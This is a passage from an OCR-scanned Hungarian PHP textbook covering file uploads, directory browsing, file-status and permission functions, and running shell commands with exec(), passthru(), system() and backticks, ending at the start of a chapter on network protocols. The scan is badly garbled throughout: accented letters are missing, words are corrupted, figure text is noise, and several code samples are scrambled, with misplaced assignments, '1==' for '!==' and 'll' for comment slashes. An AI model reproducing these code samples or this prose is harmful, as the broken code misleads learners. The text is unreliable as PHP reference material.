akkor bemsolhatjuk a fjlt a beillesztend fjlokat tartalmaz knyvtrba. Pldnkban
a feltol tesek/ a

knyvtrat hasznljuk erre; a webes dokumentumknyveron kvl helyezkedik el, ezrt megfelel hely

mshova beillesztend fjlok szmra. Most mr megnyithatjuk a fjlt, a s trip _ta gs

()

fggvnnyel eltvoltjuk belle a bennmaradt ksza HTML vagy PHP

cmkket, majd visszarhatjuk. Vgezetl jelentsk meg a tartalmr, hogy a felhasznl lssa, sikeresen felelttte a kvnt fjlt! A 19.2 brn a kd egy (sikeres) futtatsnak eredmnyt lthatjuk. 2000 szeptemberben kzz tettek egy olyan biztonsgi rst (exploicoc), amely lehetv tette a crackereknek, hogy a fjlfel tlt kdokat megbolondrva feltlttt fjlknt tneessk fel a PHP eltt a helyi fjlokac. Eze a biztonsgi rst a BUGTRAQ levelezlistjn dokumentltk. A hivatalos biztonsgi tancsokat tartalmaz dokumentumot a BUGTRAQ archvumban talljuk meg a hrcp://lists.insecure.org/bugcraq/2000/Sep/0237.hrml cmen.

ltof ..--. -- 'I -- m--: 't:!


......
)40

fjl feltltse...

. .....

,. .......Illi
& ..... llllljlllkw.

19.2 bra: A

msols s tformzs utn megjelentett fjl visszaigazolja a felhasznlnak a sikeres feltltst.


()
s a move _uploaded _file

Alkalmazsunk sebezhetsgc elkerlend, ez a kd az is_uploaded _file


etc/passwd.

()

fggvnyt

hasznlja, ami szavacolja, hogy a feldolgozand fjlokat tnylegesen felclcttk, nem pedig olyan helyi fjlok, mint pldul az l Ezek a fggvnyek a PHP 4.0.3-as verzijtl rhetk el.

298

19. fejezer

Ha nem kell gondossggal rjuk meg a feltltst kezel kdot, egy rosszindulat ltogat sajt ideiglenes fjlnevr hasznlva rveheri kdunkat, hogy feltltttknt kezelje a fjlt. Mivel a fjlfeltlt kdok nagy rsze a feltlttt adarokat megjelenti a fel

19

hasznlnak, vagy ksbbi berlts cljbl eltrolja azokat, ez akr azt is eredmnyezheti, hogy a ltogatk a webszerver ltal olvasni kpes brmely fjlhoz hozzfrhetnek. Ez mg olyan titkos fjlokat is rinthet, mint az letclpasswd vagy az adatb zisjelszavakar tartalmaz PHP forrskd.

A gyakori feltltsi problmk megelzse


A fjlfeltlts megvalstsa sorn gondoljunk a kverkezkre: Az elz plda felttelezi a felhasznlk korbbi hirelesrsr. Nem szabad megengedni, hogy brki feltlehessen fjlokat az oldalunkra. Ha nem megbzhat vagy nem hitelesrerr felhasznlk szmra is engedlyezzk a fjlfelrltst, rdemes paranois varossggal kzelreni a fjlok rarralmhoz. Egyltaln nem szeretnnk, ha rosszindulat kdot tltennek fel s futtar nnak rendszernkn. Legynk vatosak, de ne csak a fjl tpusr s tartalmr, hanem mg a nevr illeten is! rdemes a feltlttt fjlokat biztonsgosnak vlt mdon tnevezni. Megakadlyozand, hogy a felhasznlk kiszolglnk knyvrrai kzrr bngsszenek (directory surfing), a basename () fggvnyt hasznlva mdosrharjuk a bejv fjlok nevt. A fggvny eltvolrja a fjlnv rszeknt t adott elrsi tvonalat. Az elrsi tvonal birtokban a rmadk a kiszolgl klnbz knyvrraiba rakhatnak fjlokat. Nzznk egy pldt a fggvny mkdsre:
<?php $eleresi_utvonal $fajll $fajl2
= =

"lhomelhttpdlhtmllindex.php";

basename($eleresi_utvonal); basename($eleresi_utvonal, ".php"); ll a $fajll rtke "index.php" ll a $fajl2 rtke "index"

print $fajll . "<brl>"; print $fajl2 . "<brl>";

Windows-alap rendszer esern figyeljnk, hogy \ helyerr \\-t vagy l-t hasznljunk az elrsi tvonalaknl! Szmos klnbz problmt verher fel, ha - pldnkhoz hasonlan - a felhasznl ltal megadott fjlnevet hasznljuk. A legkzenfekvbb problma a meglv fjlok nem kivnt fellrsa abban az esetben, amikor a felhasznl mr ltez nvvel tlti fel a fjlt. Nem ennyire egyrtelm, de legalbb ugyanekkora gondor okozhat, hogy a klnbz opercis rendszerek, sr a klnbz nyelvi bellrsok is ms karakterkszletek hasznlatr engedik a fjlnevekben. Knnyen elfordulhat, hogy a feltlttt fjl nevben a rendszernk ltal nem megengedett karakter fordul el. Ha nem sikerl a fjlfeltltst mkdsbe hozni, ellenrizzk php.ini fjlunkat l Elfordulhat, hogy az up load_
tm p_di r direktvban meg kell adnunk egy olyan knyvtrat, amelyhez hozzfrssel rendelkeznk. Ha nagyobb fjlo

kar szeremnk feltlteni, elkpzelhet, hogy a memory _limi t bellrsr is mdosrani kell; ez hatrozza meg ugyanis a feltlthet fjlok maximlis mrett (bjrban). Az Apache-nl bellrhat az idtllps (timeout) s a tranzakci m rerkorlrja is - ha problmink addnak a nagy fjlok felrltsvel, rdemes ezeket is ellenrizni.

Knyvtrfggvnyek hasznlata
Miurn a felhasznlk feltltttk llomnyaikat, hasznos lehet szmukra, ha meg tudjk tekinteni, hogy mir is tltttek fel, illetve mdosrani tudjk ezeker a tartalmakat. A PHP szmos, erre a clra alkalmas, a knyvtrakkal s a fjlrendszerrel kap csolatos munkt leherv tev fggvnnyel rendelkezik.

Olvass knyvtrakbl
Elszr is rjuk meg a kdot, ami lehetv teszi a feltlttt tartalmak knyvrrai kzrri tallzsr! Az ilyen tallzs viszonylag egyszeren megvalsthat PHP-ben. A 19.3 pldakd egy ilyen clra hasznlhat, egyszer kdot tartalmaz.

19.3 pldakd: konyvtar tallozas.php -A feltlttt fjlok


_

listzsa

<html> <head> <title>Tallzs a knyvtrak kztt<ltitle>

A fjlrendszer s a kiszolgl elrse

299

</head> <body> <hl>Tallzs</hl> <?php $aktualis konyvtar $konyvtar


= =

19
'feltoltesek/';

opendir($aktualis konyvtar);

echo "<p>A feltolts clkonyvtra: $aktualis konyvtar</p>"; echo '<p>A knyvtr tartalma:</p><ul>';

while(false

!== ($fajl = readdir($konyvtar)))

ll a . s .. knyvtrak kiszrse
if($fajl

!= ". "

&&

$fajl

!=

"

.. ")

l
echo "<li>$fajl</li>";

echo

'</ul>';

closedir($konyvtar); ?> </body> </html>

Ez a kd az opendir (),a elosedir ()s a readdir () fggvnyt hasznlja. Az opendir() fggvny olvassra nyitja meg a knyvtrat. Hasznlata a fjlokbl olvassra alkalmas fopen () fggvny hez hasonl. Fjlnv helyett itt azonban a knyvtrnevet adjuk t:
$konyvtar
=

opendir($aktualis_konyvtar);
az

Hasonlan ahhoz,ahogy

fopen( ) fggvny fjlmutatt (file handle) ad vissza, ez a fggvny knyvtrmutatval

(directory handie) tr vissza. Megnyitott knyvtrbl a readdir($konyvtar) meghvsval olvashaguk ki a fjlneveket. Ha a knyvtrban mr nincs rbb fjl, amit kiolvashatnnk, a fggvny visszarrsi rrke false lesz. Jegyezzk meg,hogy a fggvny akkor is a hamis r rker adja vissza, ha
while(false
"

O " nev fjlt olvas be! Eze elkerlend, kifejezetten ceszceljk, hogy a visszatrsi rrk ne hamis legyen:
($fajl = readdir($konyvtar)))

1==

Ha befejezzk a knyvcr kiolvassc, a elosedir($konyvtar) meghvsval zrhaguk be. Ez a fjlkezels esetben hasznlc fclose () fggvny meghvsval egyenrtk. A 19.3 brn a knyvtrt bngsz kd kimenetre ltunk pldt.

Tallzs
,. ..... AW ...... . _..

,...-J:- . ....,m

19.3 bra: A

knyvtr listzsa a kivlasztott knyvtrban lv sszes fjlt megjelenti.

300

19. fejezet

A 19.3 brn lthathoz hasonl listkban ltalban a . jelenik. Pldnkban


az

( az aktulis knyvtr)

s a . .

(egy szinttel feljebbi) knyvtr is meg

albbi kdsorral kivettk ezeket a knyvtrakat a megjelentendk kzl:


&&

19

if($fajl

!= " . "

$fajl

!= " .

")

Ha kitrljk ezt a sort, a . s a .. knyvtr is hozzaddik a megjelentett fjllisthoz. Ha ilyen mdszerrel lehetv tesszk a felhasznlk szmra a knyvtrak kztti tallzst, rdemes korltozni az elrhet knyvtrak tartomnyt, hogy ne tudjanak olyan knyvtrakba eljutni, amelyek egybknt tiltortak szmukra. Ide kapcsold s esetenknt igen hasznos fggvny a rewinddi r($konyvtar) , amellyel egyszeren visszaugorhatunk a knyvtrban lv els fjlra. A fenti fggvnyek alternatvjaknt a PHP dir osztlyt is hasznlhatj uk. Az osztly handle s path attribtummal, illetve read(), close() s rewind () metdussal rendelkezik, amelyekkel a fent bemutatott fggvnyekkel megegyez ered mnyt rhetnk el. A 19.4 pldakdban a dir osztlyt hasznlva rtuk t a fenti pldt.
19.4 pldakd: konyvtar tallozas2. php
_

- Knyvtrlistzs a dir osztly hasznlatval

<html> <head> <title>Knyvtrak tallzsa</title> </head> <body> <hl>Tallzs</hl> <?php $konyvtar = dir("feltoltesek/"); echo "<p>A mutat: $konyvtar->handle</p>"; echo "<p>A feltlts clknyvtra: $konyvtar->path</p>"; echo '<p>A knyvtr tartalma:</p><ul>'; while(false if($fajl !== ($fajl = $konyvtar->read())) != " . " $fajl 1= " .. )
"

/la . s .. knyvtrak kiszrse


&&

echo "<li>$fajl</li>"; echo '</ul>'; $konyvtar->close(); ?> </body> </html>

A fenti pldban nem rendeztk a fjlneveket, de ha rendezett listra lenne szksgnk, a PHP 5-s verzijban megjelent
scandir () fggvnyt hasznlhatjuk erre a clra. Ez tmbben trolja el a fjlneveket, s bc szerint emelked vagy cskken

sorba rendezi ket. Mkdsre a 19.5 pldakdban ltunk pldt.


19.5 pldakd: scandir. php-A fjlnevek <html> <head> <title>Knyvtrak tallzsa</title> </head> <body> <hl>Tallzs</hl> <?php $konyvtar = 'feltoltesek/';

bc szerinti rendezse a scandir() fggvnnyel

A fjlrendszer s a kiszolgl elrse

30 l

$fajls l $fajls2

scandir($konyvtar); scandir($konyvtar,

/
l);

echo "<p>A feltlts clknyvtra: $konyvtar</p>"; echo '<p>A knyvtr tartalma bcrendben (emelked) :</p><ul>';

19

foreach($fajlokl as $fajl)

{
if($fajl
1=

"."

&&

$fajl

!= " .. ")

echo "<li>$fajl</li>";

echo

'</ul>';

echo "<p>A feltlts clknyvtra: $konyvtar</p>"; echo '<p>A knyvtr tartalma bcrendben (cskken) :</p><ul>';

foreach($fajlok2 as $fajl)

{
if($fajl

!= " .

"

&&

$fajl

!= " .. ")

echo "<li>$fajl</li>";

echo

'</ul>';

?> </body> </html>

lnformciszerzs az aktulis knyvtrrl


A fjl elrsi tvonalnak birtokban tovbbi informcikat gyjthetnk. A dirname ( $eleresi _utvonal) s basename ($eleresi_utvonal) fggvny az elrsi tvonal knyvtr rszt, illetve a fjlnevet adja vissza. Ezek az informcik a knyvtrak tallzsra szolgl kdban lehetnek hasznosak, klnsen abban az esetben, ha jelentssei br knyvtr- s fjlnevekbl ptnk sszetett knyvtrstruktrt. A knyvtrlistzsnl akr azt is megjelentherjk, hogy mennyi szabad hely marad a fj!feltltsekre. Ehhez a disk_
free_space ( $eleresi_ utvonal) fggvnyt kell hasznlnunk. Ha tadjuk a fggvnynek a knyvtr elrsi tvonalt,

a knyvtrat tartalmaz lemezen (Windows), illetve fjlrendszeren (Unix) elrhet szabad bjtok szmt adja vissza.

Knyvtrak ltrehozsa s trlse


Tl azon, hogy passzv mdon informcikat gyjtnk a knyvtrakrl, a PHP mkdir () s rmdir () fggvnyvel ltrehoz harunk, illetve trlhetnk knyvtrakat. Csak azokon az elrsi tvonalakon lehetsges knyvtrakat ltrehozni vagy trlni, amelyekhez a kdot futtat felhasznlnak hozzfrse van. Az mkdir() hasznlata bonyolultabb, mint gondolnnk. Kr paramtert fogad: a ltrehozni kivnt j knyvtr elrsi tvonalt (amelynek az j knyvtr nevt is tartalmaznia kell) s a knyvtrhoz rendelni kvnt jogosultsgokat. Nzznk egy pldt:
mkdir("/tmp/testing",

0 777);

Mindazonltal egyltaln nem biztos, hogy vgeredmnyknt az ltalunk megadott jogosultsgokat fogjuk kapni. A tny leges jogosultsgok az aktulis umask s az ltalunk megadott rtk AND mveleti jellel trtn sszekapcsolsbl addnak. Ha pldul 022 az umask, 0755-s jogosultsgokat kapunk eredmnyl. (Az umask egy adott knyvtr vagy fjl hozzfrsi jogosultsgait bellt Unix parancs. Ugyanezen a nven, megegyez funkcival megtallhat Linux alatt, illetve PHP-ben az
umas () beptett fggvny formjban.)

302

19. fejezet

Ezt elkerlend rdemes lehet a knyvtr ltrehozsa eltt nullzni az umaskot, pldul gy:
$elozo_umask = umask(O);

19

mkdir("/tmp/testing", umask($elozo_umask);

0777);

Ez a kd az umask()fggvnyt hasznlja, amellyel az umask aktulis rtkt ellenrizhetjk s vltoztathatjuk meg. Az aktulis umask rtket a neki radott rtkre vltoztatja, visszatrsi rtke pedig a rgi umask,vagy,amennyiben paramter nlkl hvjuk meg. egyszeren az aktulis umaskot adja vissza. rdemes megemlteni,hogy windowsos rendszer esetn az
urnask()fggvny nem mkdik.

Az rmdir ()fggvny trli a knyvtrat, pldul:


rmdir("/tmp/testing");

vagy
rmdir("c:\\tmp\\testing");

A trlni kivnt knyvtrnak resnek kell lennie.

A fjlrendszer elrse
A knyvtrak megtekintsn s a rjuk vonatkoz informcik sszegyjtsn tlmenen webszervernk fjljaival is dolgozha tunk, illerve informcikat gyjthetnk azokrl. Korbban mr megnzrk, hogyan rhatunk a fjlokba, illetve hogyan olvasha tunk bellk. A fjlokkal vgzend munkhoz ugyanakkor sok ms fjlkezel fggvny is rendelkezsnkre ll.

Fjlinformcik gy tse j
A knyvtrtallz kd fjlokat beolvas rszt a kvetkezkppen mdosthatjuk:
while(false 1== ($fajl
=

readdir($konyvtar)))

echo '<a href="fajlreszletek.php ?file='.$fajl.'">'.$fajl.'</a><br>';

Ezt kveten a fajlreszletek.php kd megrsval tovbbi informcikat kaphatunk az egyes fjlokrL A kd tar talmt a 19.6 pldakdban talljuk. Egy figyelmeztets e kddal kapcsolatban: az irt hasznltfggvnyek egy rsze, kztk a posix_getpwuid (),a fileowner() s a filegroup ()Windows alatt nem vagy nem megbzhatan tmogatott! 19.6 pldakd: fajlreszletek.php- Fjlllapotfggvnyeks azok eredmnye
<html> <head> <title>A fjl rszletes adatai</title> </head> <body> <?php $aktualis konyvtar
=

'feltoltesek/'; // knyvtr-informcik eltvoltsa

$fajl = basename($aktualls konyvtar); a biztonsgrt

echo '<hl>A fjl rszletes adatai: '.$fajl.'</hl>';

echo '<h2>Fjladatok</h2>'; echo 'Utols megnyits idpontja: '.date('j F Y H:i', echo 'Utols mdosts idpontja: '.date('j F Y H:i', fileatime($fajl)).'<br>'; filemtime($fajl)).'<br>';

$felhasznalo = posix_getpwuid(fileowner($fajl)); echo 'A fjl tulajdonosa: '.$felhasznalo['name'].'<br>';

$csoport = posix_getgrgid(filegroup($fajl)); echo 'Fjlcsoport: '. $csoport['name' l .'<br>';

A fjlrendszer s a kiszolgl elrse

303

echo 'Fjljogosultsgok: echo 'Fjltpus:

'.decoct(fileperms($fajl)).'<br>';

'.filetype($fajl).'<br>';

echo 'Fjlmret:

'.filesize($fajl).' bjt<br>';

19

echo '<h2>Fjltulajdonsgok ellenrzse</ h2>';

echo 'is_dir:

' (is_dir($fajl)? 'true' :

'false').'<br>'; 'false').'<br>';

echo 'is_executable: echo 'is_file: echo 'is_link:

'.(is_executable($fajl)? 'true' : 'true' :

'.(is_file($fajl)?

'false').'<br>'; 'false').'<br>'; 'false').'<br>'; 'false').'<br>';

'.(is_link($fajl)?

'true' :

echo 'is_readable: echo 'is writable:

'.(is readable($fajl)? 'true' : '.(is_writable($fajl)? 'true' :

?> </body> </html>

A 19.4 bra a 19.6 pldakd futtatsnak egy lehetsges eredmnyt mutatja.

to

s.or-

!jlool

....... .......

_,.

- - --,._,___ -::e .;:; --A

fjl rszletes adatai: feltoltesek

Fijlada1ok o..D...,.-IlOIOil-13 t.-..o....._l4s..-...lOIOIUI Allijl......,_......,..._


F---dolo

f-40"17 r.,._ .. F,...,.,_$6bf: Fijlhtlajdobsgok ellu6nhe -- ...... _-o:;. ,_"__

19.4 bra:

Fjlrendszerre vonatkoz informcik megjelentse valamely fjlrl. A jogosultsgokat itt oktlis formban lyuk.

Vizsgljuk meg egyenknt, mi a feladatuk a 19.6 pldakdban hasznlt fggvnyeknek! Ahogy mr emltettk, a basename ( ) fggvny a knyvtr nlkli fjlnevet adja vissza. (A dirname ( ) fggvnnyel ezzel szemben a knyvtr fjlnv nlkli nevt kapjuk meg.) A fileatime () s a filemtime() f ggvny a fjlhoz val utols hozzfrs, illetve a fjl utols mdostsnak idblyegt adja vissza. Annak rdekben, hogy emberi szemmel is olvashat idpontot jelentsnk meg, a date () fggvnnyel formztuk a kt idblyeget. Egyes opercis rendszereken - az ltaluk trolt informciktl fggen -ugyanazt az rtket adja vissza ez a kt fggvny. A fileowner() s a filegroup ( ) fggvny a fjl felhasznli azonostjt { uid) s csoportazonostjt (gid) adja vissza. Ezeket az azonostkat a posix _getpwuid (),illetve a posix_getgrgid () fggvnnyel lehet nevekk alaktani, gy egybl knnyebben olvashatk lesznek. Ezek a fggvnyek paramterknt az uid-et vagy a gid-et fogadva a felhasznl- vagy a csoportinformcik asz szaciativ tmbjt adjk vissza, amely a felhasznl vagy a csoport nevt tartalmazza az ltalunk a kdban hasznlt formban. A fileperros() a fjljogosultsgokat adja vissza. A decoct() fggvnnyel oktlis szmm alaktottuk ket, hogy a Unix felhasznJk szmra ismersebb formt ltsenek. A filetype() fggvny a vizsglt fjl tpusrl ad informcit. A fggvny lehetsges visszatrsi rtkei: fifo,char, dir,
b lock, link, file s unknown (ismeretlen).

A filesize() fggvny a fjl bjtokban kifejezett mrett adja vissza. A fggvnyek msodik csoporga- is _dir(),is_executable(),is _file(), is_link(),is_readable() s is
writable () -a fjlnak az egyes fggvnyek nevben szerepl tulajdonsgait teszteli. Visszatrsi rtkk az eredmnytl

fggen true vagy false .

304

19. fejezet

19

Ugyanezen informcik nagy rszt a stat () fggvnnyel is sszegyjthetnnk. Ha radunk neki egy fjlt, a fentiekhez hason l adatokat tartalmaz tmbt kapunk vissza. Az lstat () fggvny hasonl, de szimbolikus linkekhez (symlink) hasznlhat. A fjlllapotfggvnyek futtatsa viszonylag idignyes. Eredmnyeik ezrt a gyorsttrba kerlnek. Ha szeretnnk a fjlin formcikat valamilyen vltoztats elre s utn sszehasonltani, a
clearstatcache();

fggvny meghvsval elszr trlni kell a korbbi eredmnyeket. Ha az elz kdot valamilyen fjladat megvltoztatsa eltt s utn szeretnnk hasznlni, az aktulis adatok beszerzse rdekben e fggvny meghvsval kell kezdeni a kdot.

Fjltulajdonsgok mdostsa
A fjltulajdonsgokat nem csak megrekinteni, hanem mdostani is lehet. A chgrp(fajl, csoport), a chrnod(fajl, jogosultsagok) s a chown (fajl, felhasznalo) fggvny a unixos megfeleljhez hasonlan viselkedik. Windowsos rendszereken ezen fggvnyek egyike sem fog mkdni, noha a chown() ott is lefut, s mindig true rtkkel tr vissza. A chgrp() fggvny a neki radott fjl csoportjt vltoztatja meg. Hasznlatval csak olyan csoportra lehet vltani, ame lyiknek a felhasznl tagja (kivve root felhasznl esetn). A chrnod () fggvny a f:ijl jogosultsgait mdostja. A fggvnynek tadoct jogosultsgok a szoksos, unixos chrnod form ban kell, hogy legyenek. O (nulla) eltaggal kell elltni ket jelezvn, hogy oktlis szmrl van sz, mint az albbi pldban:
chmod('valamilyen_fajl.txt',

0777);

A chown () fggvnnyel a fjl tulajdonost vltoztathatjuk meg. Csak akkor hasznlhat, ha a kdot futtat felhasznl root, aminek viszont csak akkor szabad bekvetkeznie, ha rendszergazdai feladat vgrehajtsa cljbl szndkosan, a parancs sorbl futtatjuk a kdot.

Fjlok ltrehozsa, trlse s thelyezse


A fjlrendszer fggvnyeivel ltrehozhatunk, thelyezhetnk s trlhetnk fjlokat. Kezdjk a legegyszerbbel, s hozzunk ltre egy fjlt, vagy vltozrassuk meg utols mdostsnak az idpontjt a touch () fggvny segtsgve!! Ez a Unix touch parancshoz hasonlan mkdik. Prototpusa a kvetkez:
bool touch (stn.ng dajl, [int J.dopont

[,

int adott idopont)))

Ha a fjl mr ltezik, utols mdostsnak idpontja a pontos idre vagy a msodik - opcionlis -paramterben megha trozott idpontra vltozik. Ha szetetnnk megadni ezt az idpontot, idblyeg formtumban kell megrennnk. Ha a fjl nem ltezik, a rendszer ltrehozza. A f:ijlhoz val utols hozzfrs idpontja is megvltozik: alaprtelmezsben a rendszer pontos idejre vagy az opcionlis adott_i dopo nt paramterben meghatrozott idblyegre. Fjlokat az unlink() fggvnnyel trlhetnk. (Jegyezzk meg. hogy a fggvny neve vletlenl semdelete-ilyen nev fggvny ugyanis nem ltezik!) A kvetkezkppen hasznljuk:
unlink($fajlnev);

Fjlokat a copy () s a rename () fggvnnyel tudunk msolni, illetve thelyezni az albbiak szerint:
copy($forras_eleresi_utvonal, rename($regi fajl, $uj_fajl); $cel eleresi_utvonal);

Emlkezhetnk, hogy a copy() fggvnyt mr hasznltuk a 19.2 pldakdban. A rename ()ketts feladatot lt el: mivel a PHP nem rendelkezik thelyez fggvnnyel, az tnevezsen kvl erre a funk cira is ezt hasznljuk. Az, hogy a fjlokat a rename( ) hasznlatakor az egyik fjlrendszerbl a msikba thelyezzk, vagy fellrjuk ket, az opercis rendszertl fgg. ezrt rdemes a szerveren elszr kiprblni a fggvny hatst. gyeljnk a fjl nvhez hasznlt elrsi tvonalra is! Relatv elrsi tvonal esetn a kdhoz, nem pedig az eredeti fjlhoz kell viszonytani azt.

Programfuttat fggvnyek hasznlata


Vegynk bcst a fjlrendszer fggvnyeitl, s fordtsuk figyelmnket a szerveren parancsok futtatsra alkalmas fggvnyekrel Ezek a parancsok akkor hasznosak, amikor webalap felhasznli felletet kvnunk ltrehozni meglv, parancssor alap rendszerhez. Akkor fogunk dolgozni velk, amikor a knyv ksbbi rszben a gyakorlati projektek megvalstshoz rnk. Ngy f mdszer ltezik arra, hogy parancsot hajtsunk vgre a webszerveren. V iszonylag hasonl mdszerekrl van sz, m aprbb klnbsgek lteznek kzttk: ex ec() -Az ex ec() fggvny prototpusa a kvetkez:
string exec (string parancs

[,

array &eredmeny

[,

int &visszateresi_ertek)))

A fjlrendszer s a kiszolgl elrse

305

tadjuk a fggvnynek a vgrehajtani kvnt parancsot, pldul gy:


exec("ls -la");

Az exec () fggvnynek nincsen kzvetlen kimenete.A vgrehajtott parancs eredmnynek utols sort adja vissza. Ha ereeimeny-knt radunk a fggvnynek egy vlrozt, a kimenet minden egyes sort tartalmaz tmbt kapunk vissza. Ha visszateresi_ertek-knt is radunk egy vltozt, a visszatrsi kdot kapjuk meg.
passthru ()-A passthru () fggvny prototpusa a kvetkezkppen nz ki: void passthru (string parancs

19

[,

int visszateresi_ertek))

A pass thru () fggvny a bngszn keresztl kzvetlenl kiratja kimenett. (Ez a funkci akkor igazn hasznos, ha a kimenet binris- pldul valamilyen kpadat.) Nincs visszatrsi rtke. Paramcerei ugyangy mkdnek, mint az exe c() fggvny.
system () -A system () fggvny az albbi prototpussal rendelkezik: string system (string parancs

[,

int visszateresi_ertek))

A fggvny kiraga a parancs eredmnyt a bngszbe. Minden sor utn megprblja megjelenteni a kimenetet (felt ve, hogy szervermodulknt futtatjuk a PHP-t), ebben eltr a passthru () fggvnytL Visszatrsi rtke a kimenet utols sora (sikeres mkds esetn) vagy false (hiba esetn). Paramcerei ugyangy mkdnek, mint a tbbi fggvny. Fordtott idzjelek ( ')-Az l. fejezetben rviden emltettk a fordtott idzjeleket (backtick). Ezek tulajdonkppen vgrehajt opertorok. Nincsen kzvetlen kimenetk.A parancs vgrehajtsnak eredmnyt karakterlncknt kapjuk vissza, amit azutn meg jelenthetnk, vagy brmi mst is kezdhetnk vele. Bonyolultabb ignyek esetn a pope n (),a proc_open() s a proc_close () fggvnyt is segtsgl hvhatjuk. Ezek kls folyamatokat s adatokat kezelnek.A proc_open () s a proc_ close () a PHP 4.3-as verzijhoz lett hozzadva. A 19.7 pldakd azt szemllteti, hogyan lehet a ngy klnbz mdszert egyenrtken hasznlni.
19.7 pldakd: progex. php <?php chdir('feltoltesek/');

Fjlllapoifggvnyek s eredmnyk

11111 exec verzi


echo '<pre>';

ll unix
exec('ls -la', $eredmeny);

ll windows ll exec('dir',
$eredmeny); foreach ($eredmeny as $sor) echo "$sor\n"; echo '</pre>'; echo '<br><hr><br>';

11111 passthru verzi


echo '<pre>';

ll unix
passthru('ls -la')

ll windows ll passthru('dir');
echo '</pre>'; echo '<br><hr><br>';

!!lll system verzi


echo '<pre>';

ll unix

306

19. fejezet

$eredmeny = system('ls -la');

ll windows

19

ll $eredmeny = system('dir');
echo '</pre>'; echo '<br><hr><br>';

/////fordtott idzjel verzi echo '<pre>';

ll unix
$eredmeny = 'ls -al';

ll windowsO ll $eredmeny = 'dir';


echo $eredmeny; echo '</pre>';
?

>

Brmelyik megkzeltst alkalmazhatjuk a korbban ltott knyvtrtallz kd alternavjaknt. De meg kell emlte nnk a kls fggvnyek hasznlatnak a fenti kd ltal is kesen bizonytott mellkhatst: kdunk nem lesz hordozhat (platformfggetlen). A Unix parancsok hasznlata azt eredmnyezi, hogy Windowsan egyszern nem fog futni a kd. Ha szetetnnk a futtatni kvnt parancsba felhasznlk ltal elkldtt adatokat beilleszteni,elszr mindig alkalmazzuk rjuk az escapeshellcmd() fggvnyt! gy megelzhet, hogy a felhasznlk rosszindulatbl (vagy ms motivcibl) pa rancsokat futtassanak rendszernkn. A kvetkezkppen hvhatjuk meg ezt a fggvnyt:
system(escapeshellcmd($parancs));

Az escapeshellarg () fggvnnyel a hjparancsnak tadni kvnt paramtereket emelhetjk ki vdkarakterekkel.

Krnyezeti vltozk elrse: a g e t e n v ( ) s a p u t e n v ( ) fggvny


Vgezetl nzzk mg meg, hogyan dolgozhatunk PHP-bl a krnyezeti vltozkkal! Kt fggvny szolgl erre: a getenv (), amivel lekrhetjk,s a putenv (),amivel bellthatjuk a krnyezeti vltozkat. A PHP krnyezeti vltozinak listjt a phpinfo ( ) futtatsval kapjuk meg. Egyes vltozk hasznosabbak,msikak ke vsb hasznosak lesznek munkk sorn. A
getenv("HTTP_REFERER");

fggvny pldul annak az oldalnak az URL-jt adja meg, ahonnan a felhasznl az aktulis oldalra rkezett. A putenv() fggvnnyel szksg esetn be is llrhatjuk a krnyezeti vltozkat, ahogy tesszk az albbi pldban:
$home
=

"/home/nobody";

putenv (" HOME=$home ");

Ha rendszergazdaknt szeretnnk korltozni,hogy milyen krnyezeti vltozkat llthassanak be a programozk, a php.


ini-beli sa fe_mode_allowed_env_ v ars direktvban tehetjk ezt meg. Amikor biztonsgos mdban fut a PHP, a fel

hasznlk csak azokat a krnyezeti vltozkat mdosthatjk, amelyeknek eltagja fel van sorolva a direktvban.

Megjegyzs: Ha szeretnnk tbbet megtudni arrl, mit jelkpeznek az egyes krnyezeti vltozk, tekintsk t a http:/l
hoohoo.ncsa.uiuc.edu/ egi/env.html oldalon elrhet CGI-speci.fikcit!

Tovbbi olvasnival
A PHP fjlrendszerfggvnyeinek tbbsge
az

ugyanolyan nev opercisrendszer-fggvnyeket kpezi le. Unix-felhasznlk

a man oldalakon tallnak tovbbi informcit.

Hogyan tovbb
A 20. fejezetben elsajttjuk a PHP hlzati s protokollfggvnyeinek hasznlatr, hogy sajt webszervernkn kvl ms rendszereket is elrjnk. Ezzel j tvlatok nylnak meg kdjaink eltt.

20
Hlzati s protokollfggvnyek hasznlata
A fejezetben a PHP olyan hlzati fggvnyeit ismerjk meg, amelyek lehetv teszik kdunknak, hogy vele kapcsolatba lpjnk a vilghl tbbi rszvel. Az interneten erforrsok s informcik szles kre rhet el, s hasznlatukhoz tbbfle protokoll ll rendelkezsnkre. A fejezetben az albbi fbb tmakrkkel foglalkozunk: A hasznlhat protokollok ttekintse E-mail kldse s olvassa Ms weboldalak tartalmnak felhasznlsa H lzati keresfggvnyek hasznlata FTP hasznlata

20

A hasznlhat protokollok ttekintse


A protokollok adott szitucira vonatkoz kommunikcis szablyok. Amikor pldul ta llkozunk valakivel, tudjuk, mi az illem (protokoll): ksznnk, kezet fogunk (esetleg megpusziljuk egymst), beszlgetnk egy ideig, majd elksznnk egy mstl. Klnbz helyzetek klnbz protokollokat kvetelnek meg. A ms kultrkbl rkez emberek klnbz illem szablyokat kvethetnek, ami megneheztheti a kapcsolattartst. A szmtgpes hlzati protokollokat is valahogy gy kell elkpzelni. Az emberi illemszablyokhoz hasonlan a klnbz helyzetek s alkalmazsok eltr szmtgpes protokollokat hasz nlnak. Amikor pldul weboldalakat krnk s fogadunk, a Hypertext Transfer Protocolt (hiperszveg-tviteli protokoll - HTTP) hasznljuk: szmitgpnk dokumentumot (pldul HTML vagy PHP fijlt) kr egy webszervertl, s a krsre
a

kiszolgl a dokumentum elkldsvel vlaszol. Bizonyra ismers szmunkra a File Transfer Protocol (fjltviteli protokoll A protokollok s egyb internetes szabvnyok tbbsgt a

- FTP) is, amivel llomnyokat tovbbthatunk a hlzat szmtgpei kztt. Sok egyb protokoll is hasznlhat.

Request For Comments (RFC) nev dokumentumokban rjk le.

(Az RFC krlbelli jelentse: megjegyzsek krse, felhvs vlemnyezsre.) A protokollokat az Internet Engineering Task Force (IETF ) nev szvetsg hatrozza meg. Az RFC-k szles krben elrhetk az interneten. Kiindulsknt rdemes felke resni a http://www.rfc-editor.org/ cmen elrhet RFC Editor oldalt. Ha valamely protokoll hasznlata sorn problmkba tkznk, a protokollokat definil dokumentumok tekinthetk olyan hiteles forrsoknak, amelyek sok esetben segtsgnkre lesznek a kdunkban lv hibk kijavtsban. Kszljnk azon ban fel arra, hogy ezek a dokumentumok igen rszletesek, gyakran tbb szz oldalt is kitesznek! Pldaknt emltsnk meg kt jl ismert RFC-t! Az RFC261 6 a HTTP /l. l protokollt, az RFC822 az internetes e-mail zenetek formtumt rja le. A fejezetben e protokollok hasznlata szempontjbl dolgozunk a PHP-vel. Egszen pontosan azt vizsgljuk meg, hogy lehet e-mailt kldeni 